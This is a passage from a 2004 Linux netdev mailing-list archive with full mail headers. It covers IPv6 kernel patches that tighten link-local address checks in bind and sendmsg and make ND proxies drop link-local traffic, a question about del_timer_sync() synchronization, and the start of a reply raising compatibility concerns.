cm4gaXB2Nl9jaGtfYWRkcihpbjYsIE5VTEwpOw0KKwlyZXR1cm4gaXB2Nl9j aGtfYWRkcihpbjYsIE5VTEwsIDApOw0KIH0NCiANCiAvKiBUaGlzIGZ1bmN0 aW9uIGNoZWNrcyBpZiB0aGUgYWRkcmVzcyBpcyBhIHZhbGlkIGFkZHJlc3Mg dG8gYmUgdXNlZCBmb3INCg== ---377318441-1422556349-1074070733=:23925-- From vnuorval@tcs.hut.fi Wed Jan 14 01:10:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 01:10:16 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E99p6H006260 for ; Wed, 14 Jan 2004 01:09:51 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 80FB8800210; Wed, 14 Jan 2004 10:35:12 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0E8ZC7Y024027; Wed, 14 Jan 2004 10:35:12 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0E8ZBNm024023; Wed, 14 Jan 2004 10:35:11 +0200 Date: Wed, 14 Jan 2004 10:35:11 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: [PATCH 1/2] IPv6: stricter checks on link-locals in bind and sendmsg Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-377318441-583041426-1074069311=:23925" X-archive-position: 2434 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 11521 Lines: 204 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---377318441-583041426-1074069311=:23925 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Dave, I found a couple of suspected bugs related to (source) address handling while rummaging around the code... When binding to a link-local address, inet6_bind() and raw6_bind() only check that an interface is specified and that the address exists, but they don't check if it actually exists on the specified interface. Similarly, in datagram_sent_ctl() we don't check for the possibility of a link-local address when we receive the source address from userspace. The attached patch should fix this behavior. Thanks, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 ---377318441-583041426-1074069311=:23925 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="link_local_bind.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="link_local_bind.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTUxMSAgLT4gMS4xNTEzIA0KIwkg bmV0L2lwdjYvZGF0YWdyYW0uYwkxLjExICAgIC0+IDEuMTIgICANCiMJICAg ICAgbmV0L2lwdjYvcmF3LmMJMS40NSAgICAtPiAxLjQ2ICAgDQojCSBuZXQv aXB2Ni9hZl9pbmV0Ni5jCTEuNTcgICAgLT4gMS41OCAgIA0KIw0KIyBUaGUg Zm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0IExvZw0KIyAt LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0K IyAwNC8wMS8xMwl2bnVvcnZhbEBjczc4MjI3MDkwLnBwLmh0di5maQkxLjE1 MTINCiMgV2hlbiBiaW5kaW5nIHRvIGEgbGluay1sb2NhbCBhZGRyZXNzLCBj aGVjayB0aGF0IGl0IGFjdHVhbGx5IGV4aXN0cyBvbiB0aGUgc3BlY2lmaWVk IGludGVyZmFjZS4NCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0NCiMgMDQvMDEvMTMJdm51b3J2YWxAYW1iZXIuaHV0 Lm1lZGlhcG9saS5jb20JMS4xNTEzDQojIFdoZW4gc2VuZGluZyBhIGRhdGFn cmFtIHVzaW5nIGEgbGluay1sb2NhbCBzb3VyY2UgYWRkcmVzcywgY2hlY2sg dGhhdCBpdCBhY3R1YWxseSBleGlzdHMgb24gdGhlDQojIHNwZWNpZmllZCBp bnRlcmZhY2UuDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tDQojDQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9hZl9pbmV0 Ni5jIGIvbmV0L2lwdjYvYWZfaW5ldDYuYw0KLS0tIGEvbmV0L2lwdjYvYWZf aW5ldDYuYwlXZWQgSmFuIDE0IDAwOjE0OjUxIDIwMDQNCisrKyBiL25ldC9p cHY2L2FmX2luZXQ2LmMJV2VkIEphbiAxNCAwMDoxNDo1MSAyMDA0DQpAQCAt Mjk0LDYgKzI5NCw3IEBADQogCV9fdTMyIHY0YWRkciA9IDA7DQogCXVuc2ln bmVkIHNob3J0IHNudW07DQogCWludCBhZGRyX3R5cGUgPSAwOw0KKwlpbnQg ZXJyID0gMDsNCiANCiAJLyogSWYgdGhlIHNvY2tldCBoYXMgaXRzIG93biBi aW5kIGZ1bmN0aW9uIHRoZW4gdXNlIGl0LiAqLw0KIAlpZiAoc2stPnNrX3By b3QtPmJpbmQpDQpAQCAtMzA1LDI0ICszMDYsNiBAQA0KIAlpZiAoKGFkZHJf dHlwZSAmIElQVjZfQUREUl9NVUxUSUNBU1QpICYmIHNvY2stPnR5cGUgPT0g U09DS19TVFJFQU0pDQogCQlyZXR1cm4gLUVJTlZBTDsNCiANCi0JLyogQ2hl Y2sgaWYgdGhlIGFkZHJlc3MgYmVsb25ncyB0byB0aGUgaG9zdC4gKi8NCi0J aWYgKGFkZHJfdHlwZSA9PSBJUFY2X0FERFJfTUFQUEVEKSB7DQotCQl2NGFk ZHIgPSBhZGRyLT5zaW42X2FkZHIuczZfYWRkcjMyWzNdOw0KLQkJaWYgKGlu ZXRfYWRkcl90eXBlKHY0YWRkcikgIT0gUlROX0xPQ0FMKQ0KLQkJCXJldHVy biAtRUFERFJOT1RBVkFJTDsNCi0JfSBlbHNlIHsNCi0JCWlmIChhZGRyX3R5 cGUgIT0gSVBWNl9BRERSX0FOWSkgew0KLQkJCS8qIGlwdjQgYWRkciBvZiB0 aGUgc29ja2V0IGlzIGludmFsaWQuICBPbmx5IHRoZQ0KLQkJCSAqIHVuc3Bl Y2lmaWVkIGFuZCBtYXBwZWQgYWRkcmVzcyBoYXZlIGEgdjQgZXF1aXZhbGVu dC4NCi0JCQkgKi8NCi0JCQl2NGFkZHIgPSBMT09QQkFDSzRfSVBWNjsNCi0J CQlpZiAoIShhZGRyX3R5cGUgJiBJUFY2X0FERFJfTVVMVElDQVNUKSkJew0K LQkJCQlpZiAoIWlwdjZfY2hrX2FkZHIoJmFkZHItPnNpbjZfYWRkciwgTlVM TCkpDQotCQkJCQlyZXR1cm4gLUVBRERSTk9UQVZBSUw7DQotCQkJfQ0KLQkJ fQ0KLQl9DQotDQogCXNudW0gPSBudG9ocyhhZGRyLT5zaW42X3BvcnQpOw0K IAlpZiAoc251bSAmJiBzbnVtIDwgUFJPVF9TT0NLICYmICFjYXBhYmxlKENB UF9ORVRfQklORF9TRVJWSUNFKSkNCiAJCXJldHVybiAtRUFDQ0VTOw0KQEAg LTMzMSwyMyArMzE0LDU2IEBADQogDQogCS8qIENoZWNrIHRoZXNlIGVycm9y cyAoYWN0aXZlIHNvY2tldCwgZG91YmxlIGJpbmQpLiAqLw0KIAlpZiAoc2st PnNrX3N0YXRlICE9IFRDUF9DTE9TRSB8fCBpbmV0LT5udW0pIHsNCi0JCXJl bGVhc2Vfc29jayhzayk7DQotCQlyZXR1cm4gLUVJTlZBTDsNCisJCWVyciA9 IC1FSU5WQUw7DQorCQlnb3RvIG91dDsNCiAJfQ0KIA0KLQlpZiAoYWRkcl90 eXBlICYgSVBWNl9BRERSX0xJTktMT0NBTCkgew0KLQkJaWYgKGFkZHJfbGVu ID49IHNpemVvZihzdHJ1Y3Qgc29ja2FkZHJfaW42KSAmJg0KLQkJICAgIGFk ZHItPnNpbjZfc2NvcGVfaWQpIHsNCi0JCQkvKiBPdmVycmlkZSBhbnkgZXhp c3RpbmcgYmluZGluZywgaWYgYW5vdGhlciBvbmUNCi0JCQkgKiBpcyBzdXBw bGllZCBieSB1c2VyLg0KLQkJCSAqLw0KLQkJCXNrLT5za19ib3VuZF9kZXZf aWYgPSBhZGRyLT5zaW42X3Njb3BlX2lkOw0KKwkvKiBDaGVjayBpZiB0aGUg YWRkcmVzcyBiZWxvbmdzIHRvIHRoZSBob3N0LiAqLw0KKwlpZiAoYWRkcl90 eXBlID09IElQVjZfQUREUl9NQVBQRUQpIHsNCisJCXY0YWRkciA9IGFkZHIt PnNpbjZfYWRkci5zNl9hZGRyMzJbM107DQorCQlpZiAoaW5ldF9hZGRyX3R5 cGUodjRhZGRyKSAhPSBSVE5fTE9DQUwpIHsNCisJCQllcnIgPSAtRUFERFJO T1RBVkFJTDsNCisJCQlnb3RvIG91dDsNCiAJCX0NCisJfSBlbHNlIHsNCisJ CWlmIChhZGRyX3R5cGUgIT0gSVBWNl9BRERSX0FOWSkgew0KKwkJCXN0cnVj dCBuZXRfZGV2aWNlICpkZXYgPSBOVUxMOw0KKw0KKwkJCWlmIChhZGRyX3R5 cGUgJiBJUFY2X0FERFJfTElOS0xPQ0FMKSB7DQorCQkJCWlmIChhZGRyX2xl biA+PSBzaXplb2Yoc3RydWN0IHNvY2thZGRyX2luNikgJiYNCisJCQkJICAg IGFkZHItPnNpbjZfc2NvcGVfaWQpIHsNCisJCQkJCS8qIE92ZXJyaWRlIGFu eSBleGlzdGluZyBiaW5kaW5nLCBpZiBhbm90aGVyIG9uZQ0KKwkJCQkJICog aXMgc3VwcGxpZWQgYnkgdXNlci4NCisJCQkJCSAqLw0KKwkJCQkJc2stPnNr X2JvdW5kX2Rldl9pZiA9IGFkZHItPnNpbjZfc2NvcGVfaWQ7DQorCQkJCX0N CisJCQkJDQorCQkJCS8qIEJpbmRpbmcgdG8gbGluay1sb2NhbCBhZGRyZXNz IHJlcXVpcmVzIGFuIGludGVyZmFjZSAqLw0KKwkJCQlpZiAoIXNrLT5za19i b3VuZF9kZXZfaWYpIHsNCisJCQkJCWVyciA9IC1FSU5WQUw7DQorCQkJCQln b3RvIG91dDsNCisJCQkJfQ0KKwkJCQlkZXYgPSBkZXZfZ2V0X2J5X2luZGV4 KHNrLT5za19ib3VuZF9kZXZfaWYpOw0KKwkJCQlpZiAoIWRldikgew0KKwkJ CQkJZXJyID0gLUVOT0RFVjsNCisJCQkJCWdvdG8gb3V0Ow0KKwkJCQl9DQor CQkJfQ0KIA0KLQkJLyogQmluZGluZyB0byBsaW5rLWxvY2FsIGFkZHJlc3Mg cmVxdWlyZXMgYW4gaW50ZXJmYWNlICovDQotCQlpZiAoIXNrLT5za19ib3Vu ZF9kZXZfaWYpIHsNCi0JCQlyZWxlYXNlX3NvY2soc2spOw0KLQkJCXJldHVy biAtRUlOVkFMOw0KKwkJCS8qIGlwdjQgYWRkciBvZiB0aGUgc29ja2V0IGlz IGludmFsaWQuICBPbmx5IHRoZQ0KKwkJCSAqIHVuc3BlY2lmaWVkIGFuZCBt YXBwZWQgYWRkcmVzcyBoYXZlIGEgdjQgZXF1aXZhbGVudC4NCisJCQkgKi8N CisJCQl2NGFkZHIgPSBMT09QQkFDSzRfSVBWNjsNCisJCQlpZiAoIShhZGRy X3R5cGUgJiBJUFY2X0FERFJfTVVMVElDQVNUKSkJew0KKwkJCQlpZiAoIWlw djZfY2hrX2FkZHIoJmFkZHItPnNpbjZfYWRkciwgZGV2KSkgew0KKwkJCQkJ aWYgKGRldikNCisJCQkJCQlkZXZfcHV0KGRldik7DQorCQkJCQllcnIgPSAt RUFERFJOT1RBVkFJTDsNCisJCQkJCWdvdG8gb3V0Ow0KKwkJCQl9DQorCQkJ fQ0KKwkJCWlmIChkZXYpDQorCQkJCWRldl9wdXQoZGV2KTsNCiAJCX0NCiAJ fQ0KIA0KQEAgLTM2Miw4ICszNzgsOCBAQA0KIAkvKiBNYWtlIHN1cmUgd2Ug YXJlIGFsbG93ZWQgdG8gYmluZCBoZXJlLiAqLw0KIAlpZiAoc2stPnNrX3By b3QtPmdldF9wb3J0KHNrLCBzbnVtKSkgew0KIAkJaW5ldF9yZXNldF9zYWRk cihzayk7DQotCQlyZWxlYXNlX3NvY2soc2spOw0KLQkJcmV0dXJuIC1FQURE UklOVVNFOw0KKwkJZXJyID0gLUVBRERSSU5VU0U7DQorCQlnb3RvIG91dDsN CiAJfQ0KIA0KIAlpZiAoYWRkcl90eXBlICE9IElQVjZfQUREUl9BTlkpDQpA QCAtMzczLDkgKzM4OSw5IEBADQogCWluZXQtPnNwb3J0ID0gbnRvaHMoaW5l dC0+bnVtKTsNCiAJaW5ldC0+ZHBvcnQgPSAwOw0KIAlpbmV0LT5kYWRkciA9 IDA7DQorb3V0Og0KIAlyZWxlYXNlX3NvY2soc2spOw0KLQ0KLQlyZXR1cm4g MDsNCisJcmV0dXJuIGVycjsNCiB9DQogDQogaW50IGluZXQ2X3JlbGVhc2Uo c3RydWN0IHNvY2tldCAqc29jaykNCmRpZmYgLU5ydSBhL25ldC9pcHY2L2Rh dGFncmFtLmMgYi9uZXQvaXB2Ni9kYXRhZ3JhbS5jDQotLS0gYS9uZXQvaXB2 Ni9kYXRhZ3JhbS5jCVdlZCBKYW4gMTQgMDA6MTQ6NTEgMjAwNA0KKysrIGIv bmV0L2lwdjYvZGF0YWdyYW0uYwlXZWQgSmFuIDE0IDAwOjE0OjUxIDIwMDQN CkBAIC0yNjUsNiArMjY1LDggQEANCiAJaW50IGVyciA9IDA7DQogDQogCWZv ciAoY21zZyA9IENNU0dfRklSU1RIRFIobXNnKTsgY21zZzsgY21zZyA9IENN U0dfTlhUSERSKG1zZywgY21zZykpIHsNCisJCWludCBhZGRyX3R5cGU7DQor CQlzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gTlVMTDsNCiANCiAJCWlmIChj bXNnLT5jbXNnX2xlbiA8IHNpemVvZihzdHJ1Y3QgY21zZ2hkcikgfHwNCiAJ CSAgICAodW5zaWduZWQgbG9uZykoKChjaGFyKiljbXNnIC0gKGNoYXIqKW1z Zy0+bXNnX2NvbnRyb2wpDQpAQCAtMjkxLDE2ICsyOTMsMzAgQEANCiAJCQkJ ZmwtPm9pZiA9IHNyY19pbmZvLT5pcGk2X2lmaW5kZXg7DQogCQkJfQ0KIA0K LQkJCWlmICghaXB2Nl9hZGRyX2FueSgmc3JjX2luZm8tPmlwaTZfYWRkcikp IHsNCi0JCQkJaWYgKCFpcHY2X2Noa19hZGRyKCZzcmNfaW5mby0+aXBpNl9h ZGRyLCBOVUxMKSkgew0KLQkJCQkJZXJyID0gLUVJTlZBTDsNCi0JCQkJCWdv dG8gZXhpdF9mOw0KLQkJCQl9DQorCQkJYWRkcl90eXBlID0gaXB2Nl9hZGRy X3R5cGUoJnNyY19pbmZvLT5pcGk2X2FkZHIpOw0KIA0KLQkJCQlpcHY2X2Fk ZHJfY29weSgmZmwtPmZsNl9zcmMsDQotCQkJCQkgICAgICAgJnNyY19pbmZv LT5pcGk2X2FkZHIpOw0KKwkJCWlmIChpcHY2X2FkZHJfdHlwZSA9PSBJUFY2 X0FERFJfQU5ZKQ0KKwkJCQlicmVhazsNCisJCQkNCisJCQlpZiAoYWRkcl90 eXBlICYgSVBWNl9BRERSX0xJTktMT0NBTCkgew0KKwkJCQlpZiAoIXNyY19p bmZvLT5pcGk2X2lmaW5kZXgpDQorCQkJCQlyZXR1cm4gLUVJTlZBTDsNCisJ CQkJZWxzZSB7DQorCQkJCQlkZXYgPSBkZXZfZ2V0X2J5X2luZGV4KHNyY19p bmZvLT5pcGk2X2lmaW5kZXgpOw0KKwkJCQkJaWYgKCFkZXYpDQorCQkJCQkJ cmV0dXJuIC1FTk9ERVY7DQorCQkJCX0NCisJCQl9DQorCQkJaWYgKCFpcHY2 X2Noa19hZGRyKCZzcmNfaW5mby0+aXBpNl9hZGRyLCBkZXYpKSB7DQorCQkJ CWlmIChkZXYpDQorCQkJCQlkZXZfcHV0KGRldik7DQorCQkJCWVyciA9IC1F SU5WQUw7DQorCQkJCWdvdG8gZXhpdF9mOw0KIAkJCX0NCisJCQlpZiAoZGV2 KQ0KKwkJCQlkZXZfcHV0KGRldik7DQogDQorCQkJaXB2Nl9hZGRyX2NvcHko JmZsLT5mbDZfc3JjLCAmc3JjX2luZm8tPmlwaTZfYWRkcik7DQogCQkJYnJl YWs7DQogDQogCQljYXNlIElQVjZfRkxPV0lORk86DQpkaWZmIC1OcnUgYS9u ZXQvaXB2Ni9yYXcuYyBiL25ldC9pcHY2L3Jhdy5jDQotLS0gYS9uZXQvaXB2 Ni9yYXcuYwlXZWQgSmFuIDE0IDAwOjE0OjUxIDIwMDQNCisrKyBiL25ldC9p cHY2L3Jhdy5jCVdlZCBKYW4gMTQgMDA6MTQ6NTEgMjAwNA0KQEAgLTE5Nywz MSArMTk3LDQ0IEBADQogCWlmIChzay0+c2tfc3RhdGUgIT0gVENQX0NMT1NF KQ0KIAkJZ290byBvdXQ7DQogDQotCWlmIChhZGRyX3R5cGUgJiBJUFY2X0FE RFJfTElOS0xPQ0FMKSB7DQotCQlpZiAoYWRkcl9sZW4gPj0gc2l6ZW9mKHN0 cnVjdCBzb2NrYWRkcl9pbjYpICYmDQotCQkgICAgYWRkci0+c2luNl9zY29w ZV9pZCkgew0KLQkJCS8qIE92ZXJyaWRlIGFueSBleGlzdGluZyBiaW5kaW5n LCBpZiBhbm90aGVyIG9uZQ0KLQkJCSAqIGlzIHN1cHBsaWVkIGJ5IHVzZXIu DQotCQkJICovDQotCQkJc2stPnNrX2JvdW5kX2Rldl9pZiA9IGFkZHItPnNp bjZfc2NvcGVfaWQ7DQotCQl9DQotDQotCQkvKiBCaW5kaW5nIHRvIGxpbmst bG9jYWwgYWRkcmVzcyByZXF1aXJlcyBhbiBpbnRlcmZhY2UgKi8NCi0JCWlm ICghc2stPnNrX2JvdW5kX2Rldl9pZikNCi0JCQlnb3RvIG91dDsNCi0JfQ0K LQ0KIAkvKiBDaGVjayBpZiB0aGUgYWRkcmVzcyBiZWxvbmdzIHRvIHRoZSBo b3N0LiAqLw0KIAlpZiAoYWRkcl90eXBlICE9IElQVjZfQUREUl9BTlkpIHsN CisJCXN0cnVjdCBuZXRfZGV2aWNlICpkZXYgPSBOVUxMOw0KKw0KKwkJaWYg KGFkZHJfdHlwZSAmIElQVjZfQUREUl9MSU5LTE9DQUwpIHsNCisJCQlpZiAo YWRkcl9sZW4gPj0gc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbjYpICYmDQor CQkJICAgIGFkZHItPnNpbjZfc2NvcGVfaWQpIHsNCisJCQkJLyogT3ZlcnJp ZGUgYW55IGV4aXN0aW5nIGJpbmRpbmcsIGlmIGFub3RoZXINCisJCQkJICog b25lIGlzIHN1cHBsaWVkIGJ5IHVzZXIuDQorCQkJCSAqLw0KKwkJCQlzay0+ c2tfYm91bmRfZGV2X2lmID0gYWRkci0+c2luNl9zY29wZV9pZDsNCisJCQl9 DQorCQkJDQorCQkJLyogQmluZGluZyB0byBsaW5rLWxvY2FsIGFkZHJlc3Mg cmVxdWlyZXMgYW4gaW50ZXJmYWNlICovDQorCQkJaWYgKCFzay0+c2tfYm91 bmRfZGV2X2lmKQ0KKwkJCQlnb3RvIG91dDsNCisNCisJCQlkZXYgPSBkZXZf Z2V0X2J5X2luZGV4KHNrLT5za19ib3VuZF9kZXZfaWYpOw0KKwkJCWlmICgh ZGV2KSB7DQorCQkJCWVyciA9IC1FTk9ERVY7DQorCQkJCWdvdG8gb3V0Ow0K KwkJCX0NCisJCX0NCisJCQ0KIAkJLyogaXB2NCBhZGRyIG9mIHRoZSBzb2Nr ZXQgaXMgaW52YWxpZC4gIE9ubHkgdGhlDQogCQkgKiB1bnBlY2lmaWVkIGFu ZCBtYXBwZWQgYWRkcmVzcyBoYXZlIGEgdjQgZXF1aXZhbGVudC4NCiAJCSAq Lw0KIAkJdjRhZGRyID0gTE9PUEJBQ0s0X0lQVjY7DQogCQlpZiAoIShhZGRy X3R5cGUgJiBJUFY2X0FERFJfTVVMVElDQVNUKSkJew0KIAkJCWVyciA9IC1F QUREUk5PVEFWQUlMOw0KLQkJCWlmICghaXB2Nl9jaGtfYWRkcigmYWRkci0+ c2luNl9hZGRyLCBOVUxMKSkNCisJCQlpZiAoIWlwdjZfY2hrX2FkZHIoJmFk ZHItPnNpbjZfYWRkciwgZGV2KSkgew0KKwkJCQlpZiAoZGV2KQ0KKwkJCQkJ ZGV2X3B1dChkZXYpOw0KIAkJCQlnb3RvIG91dDsNCisJCQl9DQogCQl9DQor CQlpZiAoZGV2KQ0KKwkJCWRldl9wdXQoZGV2KTsNCiAJfQ0KIA0KIAlpbmV0 LT5yY3Zfc2FkZHIgPSBpbmV0LT5zYWRkciA9IHY0YWRkcjsNCg== ---377318441-583041426-1074069311=:23925-- From tsippy.mendelson@intel.com Wed Jan 14 02:38:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 02:38:56 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EAce6H008579 for ; Wed, 14 Jan 2004 02:38:42 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i0EAcYaG019551; Wed, 14 Jan 2004 10:38:34 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0EAcSCD012797; Wed, 14 Jan 2004 10:38:31 GMT Received: from hasmsx331.ger.corp.intel.com ([143.185.63.144]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011412383131246 ; Wed, 14 Jan 2004 12:38:31 +0200 Received: from hasmsx403.ger.corp.intel.com ([143.185.63.109]) by hasmsx331.ger.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 14 Jan 2004 12:38:30 +0200 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1255" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: del_timer_sync() synchronization rules Date: Wed, 14 Jan 2004 12:38:30 +0200 Message-ID: <2C83850C013A2540861D03054B478C0602012334@hasmsx403.iil.intel.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: del_timer_sync() synchronization rules Thread-Index: AcPajPtbRzUYxo6ZRi2ctZZTwDQbqA== From: "Mendelson, Tsippy" To: Cc: , "iJR ICGJ SW Dev Linux ANS" X-OriginalArrivalTime: 14 Jan 2004 10:38:31.0074 (UTC) FILETIME=[8D7EB820:01C3DA8A] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0EAce6H008579 X-archive-position: 2435 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tsippy.mendelson@intel.com Precedence: bulk X-list: netdev Content-Length: 650 Lines: 21 In the header of the del_timer_sync() function in 2.4.x kernels it says: * Caller must disable by some means restarting the timer * for new. In kernel 2.6.1 the header says: * Synchronization rules: callers must prevent restarting of the timer, * otherwise this function is meaningless. Does anyone know what this is about? Does this imply that a timer that restarts itself must use some other means to prevent it from restarting once del_timer_sync was called? (like some kind of terminate flag) If so - isn't this just what dell_timer_sync is supposed to handle properly? If not - then what kind of scenario is this referring to? Tsippy From vnuorval@tcs.hut.fi Wed Jan 14 02:50:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 02:50:50 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EAoa6H010824 for ; Wed, 14 Jan 2004 02:50:37 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id B04CD800307; Wed, 14 Jan 2004 12:50:35 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EAoZ7Y024425; Wed, 14 Jan 2004 12:50:35 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EAoYGn024421; Wed, 14 Jan 2004 12:50:35 +0200 Date: Wed, 14 Jan 2004 12:50:34 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com, usagi-core@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: [PATCH|RFC] IPv6: have a proxy discard link-local traffic Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2436 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 1309 Lines: 37 Hi Dave & Co, the patch below causes a router proxying a link-local address to discard traffic sent to it, also sending an ICMPv6 Destination Unreachable, Code 3 message to the source. This behavior is required by the Mobile IPv6 specification (the only user of proxy ND I'm aware of). This seems like reasonable behavior in any case, since the router won't be able to forward the link-local traffic to the proxied node anyway. Thanks, Ville ===== net/ipv6/ip6_output.c 1.48 vs 1.50 ===== --- 1.48/net/ipv6/ip6_output.c Thu Jan 1 22:25:30 2004 +++ 1.50/net/ipv6/ip6_output.c Wed Jan 14 12:08:51 2004 @@ -385,6 +385,15 @@ if (!xfrm6_route_forward(skb)) goto drop; + /* The proxy can't forward traffic sent to a link-local address, + so signal the sender and discard the packet */ + + if (ipv6_addr_type(&hdr->daddr) & IPV6_ADDR_LINKLOCAL && + skb->dev && pneigh_lookup(&nd_tbl, &hdr->daddr, skb->dev, 0)) { + icmpv6_send(skb, ICMPV6_DEST_UNREACH, ICMPV6_ADDR_UNREACH, + 0, skb->dev); + goto drop; + } /* IPv6 specs say nothing about it, but it is clear that we cannot send redirects to source routed frames. */ -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From pekkas@netcore.fi Wed Jan 14 03:01:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 03:02:13 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EB1s6H011432 for ; Wed, 14 Jan 2004 03:01:55 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0EAxWl30327; Wed, 14 Jan 2004 12:59:32 +0200 Date: Wed, 14 Jan 2004 12:59:32 +0200 (EET) From: Pekka Savola To: Ville Nuorvala cc: davem@redhat.com, , Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2437 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 1667 Lines: 44 On Wed, 14 Jan 2004, Ville Nuorvala wrote: > the patch below causes a router proxying a link-local address to discard > traffic sent to it, also sending an ICMPv6 Destination Unreachable, Code 3 > message to the source. This behavior is required by the Mobile IPv6 > specification (the only user of proxy ND I'm aware of). > > This seems like reasonable behavior in any case, since the router won't be > able to forward the link-local traffic to the proxied node anyway. Please check out draft-thaler-ipv6-ndproxy-xx.txt -- it used ND proxying (similar to proxy ARP). I fear this change might break that.. > --- 1.48/net/ipv6/ip6_output.c Thu Jan 1 22:25:30 2004 > +++ 1.50/net/ipv6/ip6_output.c Wed Jan 14 12:08:51 2004 > @@ -385,6 +385,15 @@ > if (!xfrm6_route_forward(skb)) > goto drop; > > + /* The proxy can't forward traffic sent to a link-local address, > + so signal the sender and discard the packet */ > + > + if (ipv6_addr_type(&hdr->daddr) & IPV6_ADDR_LINKLOCAL && > + skb->dev && pneigh_lookup(&nd_tbl, &hdr->daddr, skb->dev, 0)) { > + icmpv6_send(skb, 